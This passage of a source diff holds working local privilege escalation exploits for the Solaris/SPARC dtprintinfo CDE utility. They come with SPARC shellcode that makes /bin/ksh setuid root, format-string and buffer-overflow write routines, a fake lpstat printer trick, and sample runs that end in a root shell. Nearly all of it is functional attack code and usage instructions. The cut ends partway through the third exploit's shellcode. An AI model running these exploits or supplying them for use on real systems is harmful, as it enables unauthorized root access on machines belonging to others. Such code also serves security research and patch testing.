= 0; 170 + 171 + /* prototypes */ 172 + int add_env(char *string); 173 + void check_zero(int addr, char *pattern); 174 + int get_env_addr(char *path, char **argv); 175 + int search_ldso(char *sym); 176 + int search_rwx_mem(void); 177 + void set_val(char *buf, int pos, int val); 178 + 179 + /* 180 + * main() 181 + */ 182 + int main(int argc, char **argv) 183 + { 184 + char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2]; 185 + char platform[256], release[256], display[256]; 186 + int env_addr, sc_addr, retloc = RETLOC, i0loc, i1loc, i7loc; 187 + int offset = OFFSET; 188 + 189 + int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; 190 + int ret = search_ldso("sprintf"); 191 + int rwx_mem = search_rwx_mem() + 24; /* stable address */ 192 + 193 + int i, stackpops = STACKPOPS; 194 + unsigned char b1, b2, b3, b4; 195 + unsigned base, n[16]; /* must be unsigned */ 196 + 197 + /* lpstat code to add a fake printer */ 198 + if (!strcmp(argv[0], "lpstat")) { 199 + 200 + /* check command line */ 201 + if (argc != 2) 202 + exit(1); 203 + 204 + /* print the expected output and exit */ 205 + if(!strcmp(argv[1], "-v")) { 206 + fprintf(stderr, "lpstat called with -v\n"); 207 + printf("device for fnord: /dev/null\n"); 208 + } else { 209 + fprintf(stderr, "lpstat called with -d\n"); 210 + printf("system default destination: fnord\n"); 211 + } 212 + exit(0); 213 + } 214 + 215 + /* helper program that prints argv[0] address, used by get_env_addr() */ 216 + if (!strcmp(argv[0], "foo")) { 217 + printf("0x%p\n", argv[0]); 218 + exit(0); 219 + } 220 + 221 + /* print exploit information */ 222 + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 223 + 224 + /* process command line */ 225 + if ((argc < 2) || (argc > 4)) { 226 + #ifdef USE_EXEC_SC 227 + fprintf(stderr, "usage: %s xserver:display [retloc] [offset]\n\n", argv[0]); 228 + #else 229 + fprintf(stderr, "usage:\n$ %s xserver:display [retloc] [offset]\n$ /bin/ksh\n\n", argv[0]); 230 + #endif /* USE_EXEC_SC */ 231 + exit(1); 232 + } 233 + sprintf(display, "DISPLAY=%s", argv[1]); 234 + if (argc > 2) 235 + retloc = (int)strtoul(argv[2], (char **)NULL, 0); 236 + if (argc > 3) 237 + offset = (int)strtoul(argv[3], (char **)NULL, 0); 238 + 239 + /* calculate saved %i0 and %i7 locations based on retloc */ 240 + i0loc = retloc + offset; 241 + i1loc = i0loc + 4; 242 + i7loc = i0loc + 28; 243 + 244 + /* evil env var: name + shellcode + padding */ 245 + memset(buf, 'A', sizeof(buf)); 246 + buf[sizeof(buf) - 1] = 0x0; 247 + memcpy(buf, "REQ_DIR=", strlen("REQ_DIR=")); 248 + p += strlen("REQ_DIR="); 249 + 250 + /* padding buffer to avoid stack overflow */ 251 + memset(buf2, 'B', sizeof(buf2)); 252 + buf2[sizeof(buf2) - 1] = 0x0; 253 + 254 + /* fill the envp, keeping padding */ 255 + add_env(buf2); 256 + add_env(buf); 257 + add_env(display); 258 + add_env("TMP_DIR=/tmp"); 259 + add_env("PATH=.:/usr/bin"); 260 + sc_addr = add_env("HOME=/tmp"); 261 + add_env(sc); 262 + add_env(NULL); 263 + 264 + /* calculate the needed addresses */ 265 + env_addr = get_env_addr(VULN, argv); 266 + sc_addr += env_addr; 267 + 268 + #ifdef USE_EXEC_SC 269 + /* populate exec shellcode placeholder */ 270 + set_val(sc, 48, sb - 1024); 271 + #endif /* USE_EXEC_SC */ 272 + 273 + /* format string: saved ret */ 274 + *((void **)p) = (void *)(retloc); p += 4; /* 0x000000ff */ 275 + memset(p, 'A', 4); p += 4; /* dummy */ 276 + *((void **)p) = (void *)(retloc); p += 4; /* 0x00ff0000 */ 277 + memset(p, 'A', 4); p += 4; /* dummy */ 278 + *((void **)p) = (void *)(retloc); p += 4; /* 0xff000000 */ 279 + memset(p, 'A', 4); p += 4; /* dummy */ 280 + *((void **)p) = (void *)(retloc + 2); p += 4; /* 0x0000ff00 */ 281 + memset(p, 'A', 4); p += 4; /* dummy */ 282 + 283 + /* format string: saved %i0: 1st arg to sprintf() */ 284 + *((void **)p) = (void *)(i0loc); p += 4; /* 0x000000ff */ 285 + memset(p, 'A', 4); p += 4; /* dummy */ 286 + *((void **)p) = (void *)(i0loc); p += 4; /* 0x00ff0000 */ 287 + memset(p, 'A', 4); p += 4; /* dummy */ 288 + *((void **)p) = (void *)(i0loc); p += 4; /* 0xff000000 */ 289 + memset(p, 'A', 4); p += 4; /* dummy */ 290 + *((void **)p) = (void *)(i0loc + 2); p += 4; /* 0x0000ff00 */ 291 + memset(p, 'A', 4); p += 4; /* dummy */ 292 + 293 + /* format string: saved %i7: return address */ 294 + *((void **)p) = (void *)(i7loc); p += 4; /* 0x000000ff */ 295 + memset(p, 'A', 4); p += 4; /* dummy */ 296 + *((void **)p) = (void *)(i7loc); p += 4; /* 0x00ff0000 */ 297 + memset(p, 'A', 4); p += 4; /* dummy */ 298 + *((void **)p) = (void *)(i7loc); p += 4; /* 0xff000000 */ 299 + memset(p, 'A', 4); p += 4; /* dummy */ 300 + *((void **)p) = (void *)(i7loc + 2); p += 4; /* 0x0000ff00 */ 301 + memset(p, 'A', 4); p += 4; /* dummy */ 302 + 303 + /* format string: saved %i1: 2nd arg to sprintf() */ 304 + *((void **)p) = (void *)(i1loc); p += 4; /* 0x000000ff */ 305 + memset(p, 'A', 4); p += 4; /* dummy */ 306 + *((void **)p) = (void *)(i1loc); p += 4; /* 0x00ff0000 */ 307 + memset(p, 'A', 4); p += 4; /* dummy */ 308 + *((void **)p) = (void *)(i1loc); p += 4; /* 0xff000000 */ 309 + memset(p, 'A', 4); p += 4; /* dummy */ 310 + *((void **)p) = (void *)(i1loc + 2); p += 4; /* 0x0000ff00 */ 311 + 312 + /* format string: stackpop sequence */ 313 + base = p - buf - strlen("REQ_DIR="); 314 + for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8) 315 + memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ)); 316 + 317 + /* calculate numeric arguments for retloc */ 318 + SPLITB(b1, b2, b3, b4, (ret - 4)); 319 + CALCARGS(n[0], n[1], n[2], n[3], b1, b2, b3, b4, base); 320 + 321 + /* calculate numeric arguments for i0loc */ 322 + SPLITB(b1, b2, b3, b4, rwx_mem); 323 + CALCARGS(n[4], n[5], n[6], n[7], b1, b2, b3, b4, base); 324 + 325 + /* calculate numeric arguments for i7loc */ 326 + SPLITB(b1, b2, b3, b4, (rwx_mem - 8)); 327 + CALCARGS(n[8], n[9], n[10], n[11], b1, b2, b3, b4, base); 328 + 329 + /* calculate numeric arguments for i1loc */ 330 + SPLITB(b1, b2, b3, b4, sc_addr); 331 + CALCARGS(n[12], n[13], n[14], n[15], b1, b2, b3, b4, base); 332 + 333 + /* check for potentially dangerous numeric arguments below 10 */ 334 + for (i = 0; i < 16; i++) 335 + n[i] += (n[i] < 10) ? (0x100) : (0); 336 + 337 + /* format string: write string */ 338 + sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[0], n[1], n[2], n[3], n[4], n[5], n[6], n[7], n[8], n[9], n[10], n[11], n[12], n[13], n[14], n[15]); 339 + buf[strlen(buf)] = 'A'; /* preserve buf length */ 340 + 341 + /* we need at least one directory inside TMP_DIR to trigger the bug */ 342 + mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO); 343 + 344 + /* create a symlink for the fake lpstat */ 345 + unlink("lpstat"); 346 + symlink(argv[0], "lpstat"); 347 + 348 + /* print some output */ 349 + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 350 + sysinfo(SI_RELEASE, release, sizeof(release) - 1); 351 + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 352 + fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 353 + fprintf(stderr, "Using ret location\t: 0x%p\n", (void *)retloc); 354 + fprintf(stderr, "Using %%i0 location\t: 0x%p\n", (void *)i0loc); 355 + fprintf(stderr, "Using %%i1 location\t: 0x%p\n", (void *)i1loc); 356 + fprintf(stderr, "Using %%i7 location\t: 0x%p\n", (void *)i7loc); 357 + fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); 358 + fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); 359 + fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret); 360 + 361 + /* check for null bytes (add some padding to env if needed) */ 362 + check_zero(retloc, "ret location"); 363 + check_zero(i0loc, "%%i0 location"); 364 + check_zero(i1loc, "%%i1 location"); 365 + check_zero(i7loc, "%%i7 location"); 366 + check_zero(rwx_mem, "rwx_mem address"); 367 + check_zero(sc_addr, "sc address"); 368 + 369 + /* run the vulnerable program */ 370 + execve(VULN, arg, env); 371 + perror("execve"); 372 + exit(1); 373 + } 374 + 375 + /* 376 + * add_env(): add a variable to envp and pad if needed 377 + */ 378 + int add_env(char *string) 379 + { 380 + int i; 381 + 382 + /* null termination */ 383 + if (!string) { 384 + env[env_pos] = NULL; 385 + return env_len; 386 + } 387 + 388 + /* add the variable to envp */ 389 + env[env_pos] = string; 390 + env_len += strlen(string) + 1; 391 + env_pos++; 392 + 393 + /* pad the envp using zeroes */ 394 + if ((strlen(string) + 1) % 4) 395 + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 396 + env[env_pos] = string + strlen(string); 397 + env_len++; 398 + } 399 + 400 + return env_len; 401 + } 402 + 403 + /* 404 + * check_zero(): check an address for the presence of a 0x00 405 + */ 406 + void check_zero(int addr, char *pattern) 407 + { 408 + if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 409 + !(addr & 0xff000000)) { 410 + fprintf(stderr, "error: %s contains a 0x00!\n", pattern); 411 + exit(1); 412 + } 413 + } 414 + 415 + /* 416 + * get_env_addr(): get environment address using a helper program 417 + */ 418 + int get_env_addr(char *path, char **argv) 419 + { 420 + char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; 421 + char hex[11] = "\x00"; 422 + int fd[2], addr; 423 + 424 + /* truncate program name at correct length and create a hard link */ 425 + prog[strlen(path)] = 0x0; 426 + unlink(prog); 427 + link(argv[0], prog); 428 + 429 + /* open pipe to read program output */ 430 + if (pipe(fd) < 0) { 431 + perror("pipe"); 432 + exit(1); 433 + } 434 + 435 + switch(fork()) { 436 + 437 + case -1: /* cannot fork */ 438 + perror("fork"); 439 + exit(1); 440 + 441 + case 0: /* child */ 442 + dup2(fd[1], 1); 443 + close(fd[0]); 444 + close(fd[1]); 445 + execve(prog, arg, env); 446 + perror("execve"); 447 + exit(1); 448 + 449 + default: /* parent */ 450 + close(fd[1]); 451 + read(fd[0], hex, sizeof(hex)); 452 + break; 453 + } 454 + 455 + /* check and return address */ 456 + if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) { 457 + fprintf(stderr, "error: cannot read ff address from helper program\n"); 458 + exit(1); 459 + } 460 + return addr + 4; 461 + } 462 + 463 + /* 464 + * search_ldso(): search for a symbol inside ld.so.1 465 + */ 466 + int search_ldso(char *sym) 467 + { 468 + int addr; 469 + void *handle; 470 + Link_map *lm; 471 + 472 + /* open the executable object file */ 473 + if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { 474 + perror("dlopen"); 475 + exit(1); 476 + } 477 + 478 + /* get dynamic load information */ 479 + if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { 480 + perror("dlinfo"); 481 + exit(1); 482 + } 483 + 484 + /* search for the address of the symbol */ 485 + if ((addr = (int)dlsym(handle, sym)) == NULL) { 486 + fprintf(stderr, "error: sorry, function %s() not found\n", sym); 487 + exit(1); 488 + } 489 + 490 + /* close the executable object file */ 491 + dlclose(handle); 492 + 493 + check_zero(addr - 4, sym); 494 + return addr; 495 + } 496 + 497 + /* 498 + * search_rwx_mem(): search for an RWX memory segment valid for all 499 + * programs (typically, /usr/lib/ld.so.1) using the proc filesystem 500 + */ 501 + int search_rwx_mem(void) 502 + { 503 + int fd; 504 + char tmp[16]; 505 + prmap_t map; 506 + int addr = 0, addr_old; 507 + 508 + /* open the proc filesystem */ 509 + sprintf(tmp,"/proc/%d/map", (int)getpid()); 510 + if ((fd = open(tmp, O_RDONLY)) < 0) { 511 + fprintf(stderr, "error: can't open %s\n", tmp); 512 + exit(1); 513 + } 514 + 515 + /* search for the last RWX memory segment before stack (last - 1) */ 516 + while (read(fd, &map, sizeof(map))) 517 + if (map.pr_vaddr) 518 + if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { 519 + addr_old = addr; 520 + addr = map.pr_vaddr; 521 + } 522 + close(fd); 523 + 524 + /* add 4 to the exact address null bytes */ 525 + if (!(addr_old & 0xff)) 526 + addr_old |= 0x04; 527 + if (!(addr_old & 0xff00)) 528 + addr_old |= 0x0400; 529 + 530 + return addr_old; 531 + } 532 + 533 + /* 534 + * set_val(): copy a dword inside a buffer 535 + */ 536 + void set_val(char *buf, int pos, int val) 537 + { 538 + buf[pos] = (val & 0xff000000) >> 24; 539 + buf[pos + 1] = (val & 0x00ff0000) >> 16; 540 + buf[pos + 2] = (val & 0x0000ff00) >> 8; 541 + buf[pos + 3] = (val & 0x000000ff); 542 + } 543 + -
1 + /* 2 + * raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE 3 + * Copyright (c) 2020 Marco Ivaldi <[email protected]> 4 + * 5 + * "You still haven't given up on me?" -- Bruce Wayne 6 + * "Never!" -- Alfred Pennyworth 7 + * 8 + * I would like to thank ~A. for his incredible research work spanning decades, 9 + * an endless source of inspiration for me. 10 + * 11 + * Whoah, this one wasn't easy! This is a pretty lean exploit now, but its 12 + * development took me some time. It's been almost two weeks, and I came 13 + * close to giving up a couple of times. Here's a summary of the main 14 + * roadblocks and complications I ran into while porting my dtprintinfo 15 + * format string exploit to SPARC: 16 + * 17 + * - Half word writes and similar techniques that need to print a large amount 18 + * of chars are problematic, because we have both a format string bug and a 19 + * stack-based buffer overflow, and we risk running out of stack space! We 20 + * might be able to prevent this by increasing the size of the padding buffer, 21 + * (buf2) but your mileage may vary. 22 + * 23 + * - I therefore opted for a more portable single-byte write, but SPARC is a 24 + * RISC architecture and as such it's not happy with memory operations on 25 + * misaligned addresses... So I had to figure out a possibly novel technique 26 + * to prevent the dreaded Bus Error. It involves the %hhn format string, check 27 + * it out! 28 + * 29 + * - Once I had my write-what primitive figured out, I needed to pick a suitable 30 + * memory location to patch... and I almost ran out of options. Function 31 + * activation records turned out to be cumbersome and unreliable (see my PoC 32 + * raptor_dtprintcheckdir_sparc.c), .plt entries in the vulnerable binary 33 + * start with a null byte, and the usual OS function pointers that were 34 + * popular targets 15 years ago are not present in modern Solaris 10 releases 35 + * anymore. Finally, I noticed that the libc also contains .plt jump codes 36 + * that get executed upon function calling. Since they don't start with a null 37 + * byte, I decided to target them. 38 + * 39 + * - Instead of meddling with jump codes, to keep things simpler I decided to 40 + * craft the shellcode directly in the .plt section of libc by exploiting the 41 + * format string bug. This technique proved to be very effective, but 42 + * empirical tests showed that (for unknown reasons) the shellcode size was 43 + * limited to 36 bytes. It looks like there's a limit on the number of args, 44 + * to sprintf(), unrelated to where we write in memory. Who cares, 36 bytes 45 + * are just enough to escalate privileges. 46 + * 47 + * After I plugged a small custom shellcode into my exploit, it worked like a 48 + * charm. Simple, isn't it?;) 49 + * 50 + * To get the libc base, use pmap on the dtprintinfo process, e.g.: 51 + * $ pmap 4190 | grep libc.so.1 | grep r-x 52 + * FE800000 1224K r-x-- /lib/libc.so.1 53 + * 54 + * To grab the offset to strlen in .plt, you can use objdump as follows: 55 + * $ objdump -R /usr/lib/libc.so.1 | grep strlen 56 + * 0014369c R_SPARC_JMP_SLOT strlen 57 + * 58 + * This bug was likely fixed during the general cleanup of CDE code done by 59 + * Oracle in response to my recently reported vulnerabilities. However, I can't 60 + * confirm this because I have no access to their patches:/ 61 + * 62 + * See also: 63 + * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez) 64 + * raptor_dtprintcheckdir_intel2.c 65 + * raptor_dtprintcheckdir_sparc.c (just a proof of concept) 66 + * 67 + * Usage: 68 + * $ gcc raptor_dtprintcheckdir_sparc2.c -o raptor_dtprintcheckdir_sparc2 -Wall 69 + * [on your xserver: disable the access control] 70 + * $ ./raptor_dtprintcheckdir_sparc2 10.0.0.104:0 71 + * raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE 72 + * Copyright (c) 2020 Marco Ivaldi <[email protected]> 73 + * 74 + * Using SI_PLATFORM : SUNW,SPARC-Enterprise (5.10) 75 + * Using libc/.plt/strlen : 0xfe94369c 76 + * 77 + * Don't worry if you get a SIGILL, just run /bin/ksh anyway! 78 + * 79 + * lpstat called with -v 80 + * lpstat called with -v 81 + * lpstat called with -d 82 + * [on your xserver: double click on the fake "fnord" printer] 83 + * Illegal Instruction 84 + * $ ls -l /bin/ksh 85 + * -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh 86 + * $ ksh 87 + * # id 88 + * uid=100(user) gid=1(other) euid=0(root) egid=2(bin) 89 + * # 90 + * 91 + * Tested on: 92 + * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise 93 + * [previous Solaris versions are also likely vulnerable (and easier to exploit)] 94 + */ 95 + 96 + #include <fcntl.h> 97 + #include <link.h> 98 + #include <procfs.h> 99 + #include <stdio.h> 100 + #include <stdlib.h> 101 + #include <strings.h> 102 + #include <unistd.h> 103 + #include <sys/stat.h> 104 + #include <sys/systeminfo.h> 105 + 106 + #define INFO1 "raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE" 107 + #define INFO2 "Copyright (c) 2020 Marco Ivaldi <[email protected]>" 108 + 109 + #define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program 110 + #define BUFSIZE 3000 // size of evil env var 111 + #define BUFSIZE2 10000 // size of padding buf 112 + #define STACKPOPSEQ "%.8x" // stackpop sequence 113 + #define STACKPOPS 383 // number of stackpops 114 + 115 + /* default retloc is .plt/strlen in libc */ 116 + #define LIBCBASE 0xfe800000 // base address of libc 117 + #define STRLEN 0x0014369c // .plt/strlen offset 118 + 119 + /* calculate numeric arguments for write string */ 120 + #define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \ 121 + N1 = (B4 - BASE) % 0x100; \ 122 + N2 = (B2 - BASE - N1) % 0x100; \ 123 + N3 = (B1 - BASE - N1 - N2) % 0x100; \ 124 + N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \ 125 + BASE += N1 + N2 + N3 + N4; \ 126 + } 127 + 128 + char sc[] = /* Solaris/SPARC chmod() shellcode (max size is 36 bytes) */ 129 + /* chmod("./me", 037777777777) */ 130 + "\x92\x20\x20\x01" /* sub %g0, 1, %o1 */ 131 + "\x20\xbf\xff\xff" /* bn,a <sc - 4> */ 132 + "\x20\xbf\xff\xff" /* bn,a <sc> */ 133 + "\x7f\xff\xff\xff" /* call <sc + 4> */ 134 + "\x90\x03\xe0\x14" /* add %o7, 0x14, %o0 */ 135 + "\xc0\x22\x20\x04" /* clr [ %o0 + 4 ] */ 136 + "\x82\x10\x20\x0f" /* mov 0xf, %g1 */ 137 + "\x91\xd0\x20\x08" /* ta 8 */ 138 + "./me"; 139 + 140 + /* globals */ 141 + char *arg[2] = {"foo", NULL}; 142 + char *env[256]; 143 + int env_pos = 0, env_len = 0; 144 + 145 + /* prototypes */ 146 + int add_env(char *string); 147 + void check_zero(int addr, char *pattern); 148 + 149 + /* 150 + * main() 151 + */ 152 + int main(int argc, char **argv) 153 + { 154 + char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2]; 155 + char platform[256], release[256], display[256]; 156 + int retloc = LIBCBASE + STRLEN; 157 + 158 + int i, stackpops = STACKPOPS; 159 + unsigned base, n[strlen(sc)]; /* must be unsigned */ 160 + 161 + /* lpstat code to add a fake printer */ 162 + if (!strcmp(argv[0], "lpstat")) { 163 + 164 + /* check command line */ 165 + if (argc != 2) 166 + exit(1); 167 + 168 + /* print the expected output and exit */ 169 + if(!strcmp(argv[1], "-v")) { 170 + fprintf(stderr, "lpstat called with -v\n"); 171 + printf("device for fnord: /dev/null\n"); 172 + } else { 173 + fprintf(stderr, "lpstat called with -d\n"); 174 + printf("system default destination: fnord\n"); 175 + } 176 + exit(0); 177 + } 178 + 179 + /* print exploit information */ 180 + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 181 + 182 + /* process command line */ 183 + if (argc < 2) { 184 + fprintf(stderr, "usage:\n$ %s xserver:display [retloc]\n$ /bin/ksh\n\n", argv[0]); 185 + exit(1); 186 + } 187 + sprintf(display, "DISPLAY=%s", argv[1]); 188 + if (argc > 2) 189 + retloc = (int)strtoul(argv[2], (char **)NULL, 0); 190 + 191 + /* evil env var: name + shellcode + padding */ 192 + bzero(buf, sizeof(buf)); 193 + memcpy(buf, "REQ_DIR=", strlen("REQ_DIR=")); 194 + p += strlen("REQ_DIR="); 195 + 196 + /* padding buffer to avoid stack overflow */ 197 + memset(buf2, 'B', sizeof(buf2)); 198 + buf2[sizeof(buf2) - 1] = 0x0; 199 + 200 + /* fill the envp, keeping padding */ 201 + add_env(buf2); 202 + add_env(buf); 203 + add_env(display); 204 + add_env("TMP_DIR=/tmp/just"); /* we must control this empty dir */ 205 + add_env("PATH=.:/usr/bin"); 206 + add_env("HOME=/tmp"); 207 + add_env(NULL); 208 + 209 + /* format string: retloc */ 210 + for (i = retloc; i - retloc < strlen(sc); i += 4) { 211 + check_zero(i, "ret location"); 212 + *((void **)p) = (void *)(i); p += 4; /* 0x000000ff */ 213 + memset(p, 'A', 4); p += 4; /* dummy */ 214 + *((void **)p) = (void *)(i); p += 4; /* 0x00ff0000 */ 215 + memset(p, 'A', 4); p += 4; /* dummy */ 216 + *((void **)p) = (void *)(i); p += 4; /* 0xff000000 */ 217 + memset(p, 'A', 4); p += 4; /* dummy */ 218 + *((void **)p) = (void *)(i + 2); p += 4; /* 0x0000ff00 */ 219 + memset(p, 'A', 4); p += 4; /* dummy */ 220 + } 221 + 222 + /* format string: stackpop sequence */ 223 + base = p - buf - strlen("REQ_DIR="); 224 + for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8) 225 + memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ)); 226 + 227 + /* calculate numeric arguments */ 228 + for (i = 0; i < strlen(sc); i += 4) 229 + CALCARGS(n[i], n[i + 1], n[i + 2], n[i + 3], sc[i], sc[i + 1], sc[i + 2], sc[i + 3], base); 230 + 231 + /* check for potentially dangerous numeric arguments below 10 */ 232 + for (i = 0; i < strlen(sc); i++) 233 + n[i] += (n[i] < 10) ? (0x100) : (0); 234 + 235 + /* format string: write string */ 236 + for (i = 0; i < strlen(sc); i += 4) 237 + p += sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[i], n[i + 1], n[i + 2], n[i + 3]); 238 + 239 + /* setup the directory structure and the symlink to /bin/ksh */ 240 + unlink("/tmp/just/chmod/me"); 241 + rmdir("/tmp/just/chmod"); 242 + rmdir("/tmp/just"); 243 + mkdir("/tmp/just", S_IRWXU | S_IRWXG | S_IRWXO); 244 + mkdir("/tmp/just/chmod", S_IRWXU | S_IRWXG | S_IRWXO); 245 + symlink("/bin/ksh", "/tmp/just/chmod/me"); 246 + 247 + /* create a symlink for the fake lpstat */ 248 + unlink("lpstat"); 249 + symlink(argv[0], "lpstat"); 250 + 251 + /* print some output */ 252 + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 253 + sysinfo(SI_RELEASE, release, sizeof(release) - 1); 254 + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 255 + fprintf(stderr, "Using libc/.plt/strlen\t: 0x%p\n\n", (void *)retloc); 256 + fprintf(stderr, "Don't worry if you get a SIGILL, just run /bin/ksh anyway!\n\n"); 257 + 258 + /* run the vulnerable program */ 259 + execve(VULN, arg, env); 260 + perror("execve"); 261 + exit(1); 262 + } 263 + 264 + /* 265 + * add_env(): add a variable to envp and pad if needed 266 + */ 267 + int add_env(char *string) 268 + { 269 + int i; 270 + 271 + /* null termination */ 272 + if (!string) { 273 + env[env_pos] = NULL; 274 + return env_len; 275 + } 276 + 277 + /* add the variable to envp */ 278 + env[env_pos] = string; 279 + env_len += strlen(string) + 1; 280 + env_pos++; 281 + 282 + /* pad the envp using zeroes */ 283 + if ((strlen(string) + 1) % 4) 284 + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 285 + env[env_pos] = string + strlen(string); 286 + env_len++; 287 + } 288 + 289 + return env_len; 290 + } 291 + 292 + /* 293 + * check_zero(): check an address for the presence of a 0x00 294 + */ 295 + void check_zero(int addr, char *pattern) 296 + { 297 + if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 298 + !(addr & 0xff000000)) { 299 + fprintf(stderr, "error: %s contains a 0x00!\n", pattern); 300 + exit(1); 301 + } 302 + } 303 + -
1 + /* 2 + * raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC 3 + * Copyright (c) 2004-2020 Marco Ivaldi <[email protected]> 4 + * 5 + * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to 6 + * local root. Many thanks to Dave Aitel for discovering this vulnerability 7 + * and for his interesting research activities on Solaris/SPARC. 8 + * 9 + * "None of my dtprintinfo work is public, other than that 0day pack being 10 + * leaked to all hell and back. It should all basically still work. Let's 11 + * keep it that way, cool? :>" -- Dave Aitel 12 + * 13 + * This is a revised version of my original exploit that should work on 14 + * modern Solaris 10 SPARC boxes. I had to figure out a new way to obtain 15 + * the needed addresses that's hopefully universal (goodbye VOODOO macros!). 16 + * and I had to work around some annoying crashes, which led me to write 17 + * a custom shellcode that makes /bin/ksh setuid. Crude but effective;) 18 + * If you feel brave, you can also try my experimental exec shellcode, for 19 + * SPARC V8 plus and above architectures only ("It works on my computer!"). 20 + * 21 + * I'm developing my exploits on a Solaris 10 Branded Zone and I strongly 22 + * suspect this is the reason for the weird behavior in the execution of 23 + * standard SYS_exec shellcodes, because the crash happens in s10_brand.so.1, 24 + * in the strncmp() function called by brand_uucopystr(). If that's indeed 25 + * the case, any shellcode (including lsd-pl.net's classic shellcode) should 26 + * work on physical systems and I just spent a non-neglibible amount of time 27 + * debugging this for no valid reason but my love of hacking... Oh well! 28 + * 29 + * Usage: 30 + * $ gcc raptor_dtprintname_sparc3.c -o raptor_dtprintname_sparc3 -Wall 31 + * [on your xserver: disable the access control] 32 + * $ ./raptor_dtprintname_sparc3 10.0.0.122:0 33 + * [...] 34 + * $ ls -l /bin/ksh 35 + * -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh 36 + * $ /bin/ksh 37 + * # id 38 + * uid=100(user) gid=1(other) euid=0(root) egid=2(bin) 39 + * # 40 + * 41 + * Tested on: 42 + * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise (Solaris 10 1/13) 43 + */ 44 + 45 + #include <fcntl.h> 46 + #include <link.h> 47 + #include <procfs.h> 48 + #include <stdio.h> 49 + #include <stdlib.h> 50 + #include <strings.h> 51 + #include <unistd.h> 52 + #include <sys/systeminfo.h> 53 + 54 + #define INFO1 "raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC" 55 + #define INFO2 "Copyright (c) 2004-2020 Marco Ivaldi <[email protected]>" 56 + 57 + #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program 58 + #define BUFSIZE 301 // size of the printer name 59 + #define FFSIZE 64 + 1 // size of the fake frame 60 + #define DUMMY 0xdeadbeef // dummy memory address 61 + 62 + //#define USE_EXEC_SC // uncomment to use exec shellcode 63 + 64 + #ifdef USE_EXEC_SC 65 + char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */ 66 + /* setuid(0) */ 67 + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ 68 + "\x82\x10\x20\x17" /* mov 0x17, %g1 */ 69 + "\x91\xd0\x20\x08" /* ta 8 */ 70 + /* execve("/bin/ksh", argv, NULL) */ 71 + "\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */ 72 + "\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */ 73 + "\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */ 74 + "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ 75 + "\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */ 76 + "\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */ 77 + "\x82\x10\x20\x0b" /* mov 0xb, %g1 */ 78 + "\x91\xd0\x20\x08" /* ta 8 */ 79 + "\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */ 80 + "\x41\x41\x41\x41" /* placeholder */ 81 + "/bin/ksh"; 82 + #else 83 + char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */ 84 + /* setuid(0) */ 85 + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ 86 + "\x82\x10\x20\x17" /* mov 0x17, %g1 */ 87 + "\x91\xd0\x20\x08" /* ta 8 */ 88 + /* chmod("/bin/ksh", 037777777777) */ 89 + "\x92\x20\x20\x01" /* sub %g0, 1, 